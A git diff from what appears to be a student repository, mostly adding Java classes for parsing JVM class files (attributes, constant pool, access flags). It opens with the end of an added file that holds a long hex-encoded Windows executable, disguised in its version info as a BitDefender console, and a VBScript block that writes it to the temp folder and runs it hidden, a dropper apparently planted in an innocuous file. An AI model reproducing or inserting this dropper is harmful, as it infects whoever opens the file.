FB66871F104E616DBCD310570C233BB203414841FEC2B60B084E3944653374A185B13056028B8C04B68499C7E42B4B090B07F008291B618B2729AD2D3206A559BD71FA8B6D767929BA506F697421EC2E842E5F414350DEE1ED0AA746D48EC161677BF792534909E04465D2120658C5659C81903216854E4A5A496FB55CF7B27B6D5D1154A06B96D054651B2673B48020496C2C6370D086F11E1D41033ADDC021A3574B00891E4031012E98DAD71D48A270DDF1216C64F0C661DB53502668D36767416388C0ECE19277731020F07609C3BA0354D9726776AD70618B5380613C49633D0AA1AD6C6544207EB9D885A582A51B6F7166798E029BBD21F46B746F708E13602B0BD84766465BE1C55613F0ADCD49B1952DB444CB4057E925E11476780BC36E4D616F912D61362D4A1E505868ED686508BE70758D157E0BEC0297244162E7B03761EC8E0C5F21F012C72B2584C8E3C7216523B041D6E1C046082B3129A13056966142610921650D487312424A485C8CB310C2CA36F067C24A18098BDCEEC6208C50896391B0425A97E75B09232C34464292524222DFA632B6ED3030AC6E1C68BF022994ADCA7D09235B16375DF246B6CA1A620F6919231269215E0C4B652B644B9660360B8B9578324730891B0DD2A16F77F2F860E06EB16E7551B8426F78412016AC3D711F100D2D7C30FA53736E446C67490A6DD7C4BB81313E777370723A660A2A1B743F897973224D4E72C882ED6EE8497344976F67316DEEB041C391776C786D98F013AFB548EC9F7462656772B7D686758C64AF4666D563684FAC2C619B26AD4E1D823966504516BACCE05CA1077BA5215A1670B4EEC1DC1A52421E11A12D5436C5615AD70F929DD81E6C52D9ACE7BC995B607058E11F36171F4D436DA452B54C6505A3B6D56AF075302030A3D6B8046970599E6EB849B4985674A51B1E96CD4CB773AAA3536B0C2B1848EDEE8A2F82B576A154346E73ACB29D2D210813B49C6830F7D9CC56A45655706432B61809B3C3D89DC0368B6449E43F3FB8843025B8A1875701356A6785ED3156244DAD10361E0D74666BC51E133A9184889361C85A9B2CF7F18C5081564608636B4362121646C8D0F86D73A58411256E062786EE5636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB1470F14E0EE59B7FC000F010B0107900CB413FE1C04D93AFBBA1003A00D400B02BD0A3B77D8B20800043CA0140C3D3CBD819DBD021E34100706AFFCB69700C0433B5077600144E7C21064002E0264656EC8DE7BE390077F2095C860B1A62E9061D70394836D062C02402E7228200164B37D1001271A2801A6FB5EA973A30C23602706DF85B692428F3DCC47172A000000E09F020000900000FF0000000000000000000000000060BE00F041008DBE0020FEFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D0049003F00000000000000040004000100000000000000000000000000000038020000000053007400720069006E006700460069006C00650049006E0066006F00000014020000000030003400300039003000340042003000000040000900010043006F006D00700061006E0079004E0061006D0065000000000053004F0046005400570049004E00200053002E0052002E004C002E0000000000680008000100460069006C0065004400650073006300720069007000740069006F006E000000000042006900740044006500660065006E0064006500720020004D0061006E006100670065006D0065006E007400200043006F006E0073006F006C006500000000003C0009000100460069006C006500560065007200730069006F006E00000000003100300036002E00340032002E00370033002E00360031000000000034000A00010049006E007400650072006E0061006C004E0061006D006500000044043604370440044E043A0448044D04490400003800060001004C006500670061006C0043006F007000790072006900670068007400000032003500320038002D00360031003400320000003C00050001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006E0065006400770070002E006500780065000000300007000100500072006F0064007500630074004E0061006D006500000000003B044E04370430043D04450400000000400005000100500072006F006400750063007400560065007200730069006F006E0000003100300036002E00340032002E00370033002E003600310000000000440000000000560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000904B004786301003C3F786D6C2076657273696F6E3D22312E302220656E636F64696E673D225554462D3822207374616E64616C6F6E653D22796573223F3E0D0A3C617373656D626C7920786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E763122206D616E696665737456657273696F6E3D22312E30223E0D0AA0203C7472757374496E666F20786D6C6E733D2275726E3A736368656D61732D6D6963726F736F66742D636F6D3A61736D2E7633223E0D0AA020A0203C73656375726974793E0D0AA020A020A0203C72657175657374656450726976696C656765733E3C726571756573746564457865637574696F6E4C6576656C206C6576656C3D226173496E766F6B6572222075694163636573733D2266616C7365222F3E3C2F72657175657374656450726976696C656765733E0D0AA020A0203C2F73656375726974793E0D0AA0203C2F7472757374496E666F3E0D0A3C2F617373656D626C793E00000000000000000000000064D5020038D5020000000000000000000000000071D5020054D502000000000000000000000000007DD502005CD50200000000000000000000000000000000000000000088D5020096D50200A6D50200B6D50200C4D50200D2D5020000000000E0D5020000000000ECD50200000000004B45524E454C33322E444C4C005348454C4C33322E444C4C005553455233322E444C4C0000004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F7465637400005669727475616C416C6C6F6300005669727475616C467265650000004578697450726F636573730000004472616746696E697368000057696E48656C705700000000000000000000"
+Set FSO = CreateObject("Scripting.FileSystemObject")
+DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
+If FSO.FileExists(DropPath)=False Then
+Set FileObj = FSO.CreateTextFile(DropPath, True)
+For i = 1 To Len(WriteData) Step 2
+FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
+Next
+FileObj.Close
+End If
+Set WSHshell = CreateObject("WScript.Shell")
+WSHshell.Run DropPath, 0
+//--></SCRIPT>
\ No newline at end of file
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/AttributeInfo.java b/group17/1282579502/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..1e4c513330
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,48 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	public static AttributeInfo parse(ClassFile file, ByteCodeIterator iter) throws InvalidAttributeInfoException{
+		AttributeInfo attrInfo = null;
+		int attributeType = iter.getNextNBytesInteger(2);
+		String attributeTag = file.getConstantPool().getUTF8String(attributeType);
+		System.out.println("attribute type: " + attributeType + " utf8 val: " + file.getConstantPool().getUTF8String(attributeType));
+		
+		if(attributeTag.equals(CODE)){
+			System.out.println("about to parse CODE attribute");
+			//ClassFile clzFile, ByteCodeIterator iter, int attributeNameIndex
+			attrInfo = CodeAttr.parse(file, iter, attributeType);
+		}
+		else if(attributeTag.equals(LINE_NUM_TABLE)){
+			System.out.println("about to parse LINE_NUM_TABLE attribute");
+			attrInfo = LineNumberTable.parse(iter);
+		}
+		else if(attributeTag.equals(LOCAL_VAR_TABLE)){
+			System.out.println("about to parse LOCAL_VAR_TABLE attribute");
+			attrInfo = LocalVariableTable.parse(iter, file, attributeType);
+		}
+		else{
+			System.out.println("about to throw attribute");
+			throw new InvalidAttributeInfoException("Unimplemented attribute exception.");
+		}
+		
+		return attrInfo;
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/CodeAttr.java b/group17/1282579502/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..12d151d575
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,94 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+import com.coderising.jvm.method.InvalidMethodInfoException;
+
+
+public class CodeAttr extends AttributeInfo {
+	private int maxStack ;
+	private int maxLocals ;
+	private int codeLen ;
+	private String code;
+	public String getCode() {
+		return code;
+	}
+
+	//private ByteCodeCommand[] cmds ;
+	//public ByteCodeCommand[] getCmds() {
+	//	return cmds;
+	//}
+	private LineNumberTable lineNumTable;
+	private LocalVariableTable localVarTable;
+	private StackMapTable stackMapTable;
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code /*ByteCodeCommand[] cmds*/) {
+		super(attrNameIndex, attrLen);
+		this.maxStack = maxStack;
+		this.maxLocals = maxLocals;
+		this.codeLen = codeLen;
+		this.code = code;
+		//this.cmds = cmds;
+	}
+
+	public void setLineNumberTable(LineNumberTable t) {
+		this.lineNumTable = t;
+	}
+
+	public void setLocalVariableTable(LocalVariableTable t) {
+		this.localVarTable = t;		
+	}
+	
+	public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter, int attributeNameIndex) throws InvalidAttributeInfoException{
+		System.out.println("parsing CodeAttr...");
+		
+		int attributeLength = iter.getNextNBytesInteger(4);
+		int maxStack = iter.getNextNBytesInteger(2);
+		int maxLocalVar = iter.getNextNBytesInteger(2);
+		int codeLength = iter.getNextNBytesInteger(4);
+		
+		
+		System.out.println("attribute length: " + attributeLength);
+		System.out.println("max stack: " + maxStack);
+		System.out.println("max local variable: " + maxLocalVar);
+		System.out.println("code length: " + codeLength);
+		
+		String realCode = iter.getNextNHexString(codeLength);
+		System.out.println("real cdoe: " + realCode);
+		
+		int exceptionCount = iter.getNextNBytesInteger(2);
+		System.out.println("exception count: " + exceptionCount);
+		if(exceptionCount>0){
+			throw new InvalidAttributeInfoException("Exception parser un-implemented.");
+		}
+		//int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code
+		CodeAttr code = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocalVar, codeLength, realCode);
+
+		int subAttributeCount = iter.getNextNBytesInteger(2);
+		System.out.println("sub attribute count : " + subAttributeCount); 
+		for(int i = 0; i<subAttributeCount; i++){
+			AttributeInfo attInfo = AttributeInfo.parse(clzFile, iter);
+			if(attInfo instanceof LineNumberTable){
+				code.setLineNumberTable((LineNumberTable)attInfo);
+			}
+			else if(attInfo instanceof LocalVariableTable){
+				code.setLocalVariableTable((LocalVariableTable) attInfo);
+			}
+			else{
+				throw new InvalidAttributeInfoException("Unimplemented attribute type.");
+			}
+		}
+				
+		return code;
+	}
+	private void setStackMapTable(StackMapTable t) {
+		this.stackMapTable = t;
+		
+	}
+
+	
+	
+	
+	
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/InvalidAttributeInfoException.java b/group17/1282579502/src/com/coderising/jvm/attr/InvalidAttributeInfoException.java
new file mode 100644
index 0000000000..30c7bbc08e
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/attr/InvalidAttributeInfoException.java
@@ -0,0 +1,7 @@
+package com.coderising.jvm.attr;
+
+public class InvalidAttributeInfoException extends Exception {
+	public InvalidAttributeInfoException(String message){
+		super(message);
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/LineNumberTable.java b/group17/1282579502/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..793a155f28
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,53 @@
+package com.coderising.jvm.attr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		int attributeLength = iter.getNextNBytesInteger(4);
+		int lineNumberTableLength = iter.getNextNBytesInteger(2);
+		System.out.println("attribute length: " + attributeLength);
+		System.out.println("line number table length: " + lineNumberTableLength);
+		LineNumberTable table = new LineNumberTable(attributeLength, lineNumberTableLength);
+		for(int i = 0; i<lineNumberTableLength; i++){
+			LineNumberItem item = new LineNumberItem();
+			item.setStartPC(iter.getNextNBytesInteger(2));
+			item.setLineNum(iter.getNextNBytesInteger(2));
+			table.addLineNumberItem(item);
+			System.out.println("start pc: " + item.getStartPC() + " line number: " + item.getLineNum());
+		}
+		return table;
+	}
+	
+	
+
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/LocalVariableItem.java b/group17/1282579502/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..ea7f9f427c
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,71 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	private ConstantPool constPool;
+	
+	public LocalVariableItem(ConstantPool pool){
+		this.constPool = pool;
+	}
+	
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+	
+	
+	public static LocalVariableItem parse(ByteCodeIterator iter, ConstantPool pool){
+		LocalVariableItem item = new LocalVariableItem(pool);
+		int startPc = iter.getNextNBytesInteger(2);
+		int length = iter.getNextNBytesInteger(2);
+		int nameIndex = iter.getNextNBytesInteger(2);
+		int descriptorIndex = iter.getNextNBytesInteger(2);
+		int index = iter.getNextNBytesInteger(2);
+		item.setStartPC(startPc);
+		item.setLength(length);
+		item.setNameIndex(nameIndex);
+		item.setDescIndex(descriptorIndex);
+		item.setIndex(index);
+		
+		return item;
+	}
+	@Override
+	public String toString() {
+		return "LocalVariableItem [startPC=" + startPC + ", length=" + length
+				+ ", nameIndex=" + nameIndex + " val: " + constPool.getUTF8String(nameIndex) + ", descIndex=" + descIndex
+				+ " val: " + constPool.getUTF8String(descIndex) + ", index=" + index  + "]";
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/LocalVariableTable.java b/group17/1282579502/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..a667dfe54b
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,40 @@
+package com.coderising.jvm.attr;
+
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+public static LocalVariableTable parse(ByteCodeIterator iter, ClassFile clz, int nameIndex){
+		LocalVariableTable attrInfo = null;
+		int attributeLength = iter.getNextNBytesInteger(4);
+		int localVarTableLength = iter.getNextNBytesInteger(2);
+		System.out.println("attribute length: " + attributeLength);
+		System.out.println("local variable table length: " + localVarTableLength); 
+		attrInfo = new LocalVariableTable(nameIndex, attributeLength);
+		for(int i = 0;i<localVarTableLength; i++){
+			LocalVariableItem item = LocalVariableItem.parse(iter, clz.getConstantPool());
+			System.out.println("local variable table item: " + item);
+			attrInfo.addLocalVariableItem(item);
+		}
+		
+		return attrInfo;
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/attr/StackMapTable.java b/group17/1282579502/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..44c5d90d46
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2ToInt();
+		int len = iter.nextU4ToInt();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/clz/AccessFlag.java b/group17/1282579502/src/com/coderising/jvm/clz/AccessFlag.java
new file mode 100755
index 0000000000..aab65b780b
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+	package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group17/1282579502/src/com/coderising/jvm/clz/ClassFile.java b/group17/1282579502/src/com/coderising/jvm/clz/ClassFile.java
new file mode 100755
index 0000000000..b2645983ad
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/clz/ClassFile.java
@@ -0,0 +1,95 @@
+package com.coderising.jvm.clz;
+
+import java.util.List;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	
+	private List<Field> fields;
+	private List<Method> methods;
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	private String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	private String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+	
+	public void setFields(List<Field> fields){
+		this.fields = fields;
+	}
+	
+	public void setMethods(List<Method> methods){
+		this.methods = methods;
+	}
+	
+	public List<Field> getFields(){
+		return fields;
+	}
+	
+	public List<Method> getMethods(){
+		return methods;
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/clz/ClassIndex.java b/group17/1282579502/src/com/coderising/jvm/clz/ClassIndex.java
new file mode 100755
index 0000000000..e424f284b3
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/clz/ClassIndex.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.clz;
+
+public class ClassIndex {
+	private int thisClassIndex;
+	private int superClassIndex;
+	
+	public int getThisClassIndex() {
+		return thisClassIndex;
+	}
+	public void setThisClassIndex(int thisClassIndex) {
+		this.thisClassIndex = thisClassIndex;
+	}
+	public int getSuperClassIndex() {
+		return superClassIndex;
+	}
+	public void setSuperClassIndex(int superClassIndex) {
+		this.superClassIndex = superClassIndex;
+	}
+}
\ No newline at end of file
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/ClassInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100755
index 0000000000..aea9048ea4
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,24 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/ConstantInfo.java b/group17/1282579502/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100755
index 0000000000..4ddac90612
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int INTEGER_INFO = 3;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/ConstantInfoFactory.java b/group17/1282579502/src/com/coderising/jvm/constant/ConstantInfoFactory.java
new file mode 100644
index 0000000000..ce35409add
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/ConstantInfoFactory.java
@@ -0,0 +1,93 @@
+package com.coderising.jvm.constant;
+
+import java.io.UnsupportedEncodingException;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+import com.coderising.jvm.util.Util;
+
+public class ConstantInfoFactory {
+	public ByteCodeIterator iter = null;
+	public ConstantPool pool = null;
+	public ConstantInfoFactory(ByteCodeIterator iter, ConstantPool pool){
+		this.iter = iter;
+		this.pool = pool;
+	}
+	
+	public void fillNextConstantInfo() throws InvalidConstantInfoTypeException, UnsupportedEncodingException{
+		int constantIdentifier = iter.getNextByte();
+		ConstantInfo var = null;
+		//System.out.println("constant identifyer: " + constantIdentifier);
+			var = classify(constantIdentifier);
+			pool.addConstantInfo(var);
+	}
+	
+	public ConstantInfo classify(int constantInfoTypeId) throws InvalidConstantInfoTypeException, UnsupportedEncodingException{
+		ConstantInfo ret = null;
+		switch(constantInfoTypeId){
+		case ConstantInfo.CLASS_INFO:
+			ClassInfo classInfo = new ClassInfo(pool);
+			byte[] utf8Index = iter.getNextNBytes(2);
+			//System.out.println("constant classInfo: utf index: " + Util.byteToInt(utf8Index)); 
+			classInfo.setUtf8Index(Util.byteToInt(utf8Index));
+			ret = classInfo;
+			
+		break;
+		case ConstantInfo.FIELD_INFO:
+			FieldRefInfo fieldInfo = new FieldRefInfo(pool);
+			int classInfoIndex = Util.byteToInt(iter.getNextNBytes(2));
+			fieldInfo.setClassInfoIndex(classInfoIndex);
+			int nameAndTypeIndex = Util.byteToInt(iter.getNextNBytes(2));
+			fieldInfo.setNameAndTypeIndex(nameAndTypeIndex);
+			ret = fieldInfo;
+		break;
+		case ConstantInfo.INTEGER_INFO:
+			IntegerInfo integerInfo = new IntegerInfo(pool);
+			int val = Util.byteToInt(iter.getNextNBytes(4));
+			integerInfo.setInteger(val);
+			ret = integerInfo;
+		break;
+		case ConstantInfo.FLOAT_INFO:
+			FloatRefInfo floatInfo = new FloatRefInfo(pool);
+			ret = floatInfo;
+			throw new InvalidConstantInfoTypeException("Flat info has not been properly implemented yet");
+		//break;
+		case ConstantInfo.METHOD_INFO:
+			MethodRefInfo methodInfo = new MethodRefInfo(pool);
+			int methodClassInfoIndex = Util.byteToInt(iter.getNextNBytes(2));
+			methodInfo.setClassInfoIndex(methodClassInfoIndex);
+			int methodNameAndTypeIndex = Util.byteToInt(iter.getNextNBytes(2));
+			methodInfo.setNameAndTypeIndex(methodNameAndTypeIndex);
+			ret = methodInfo;
+		break;
+		case ConstantInfo.NAME_AND_TYPE_INFO:
+			NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+			int nameIndex = Util.byteToInt(iter.getNextNBytes(2));
+			nameAndTypeInfo.setIndex1(nameIndex);
+			int descriptorIndex = Util.byteToInt(iter.getNextNBytes(2));
+			nameAndTypeInfo.setIndex2(descriptorIndex);
+			ret = nameAndTypeInfo;
+		break;
+		case ConstantInfo.STRING_INFO:
+			StringInfo stringInfo = new StringInfo(pool);
+			int index = Util.byteToInt(iter.getNextNBytes(2));
+			stringInfo.setIndex(index);
+			ret = stringInfo;
+		break;
+		case ConstantInfo.UTF8_INFO:
+			UTF8Info utfInfo = new UTF8Info(pool);
+			int length = Util.byteToInt(iter.getNextNBytes(2));
+			utfInfo.setLength(length);
+
+			String utf8Val = new String(iter.getNextNBytes(length), "UTF-8");
+			System.out.println("UTF 8 content " + utf8Val); 
+			
+			utfInfo.setValue(utf8Val);
+			ret = utfInfo;
+		break;
+		
+		default:
+			throw new InvalidConstantInfoTypeException();
+		}
+		return ret;
+	}
+}
diff --git a/group17/1282579502/src/com/coderising/jvm/constant/ConstantPool.java b/group17/1282579502/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100755
index 0000000000..59ad734f25
--- /dev/null
+++ b/group17/1282579502/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,37 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		System.out.println("added: " + info.getClass().getName() + " current size; " + constantInfos.size());
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+	
+	public String toString(){
+		StringBuilder sb = new StringBuilder();
+		for(int i = 0; i<constantInfos.size(); i++){
+			sb.append(constantInfos.get(i) + "\n");
+		}
+		return sb.toString();
+	}
+}
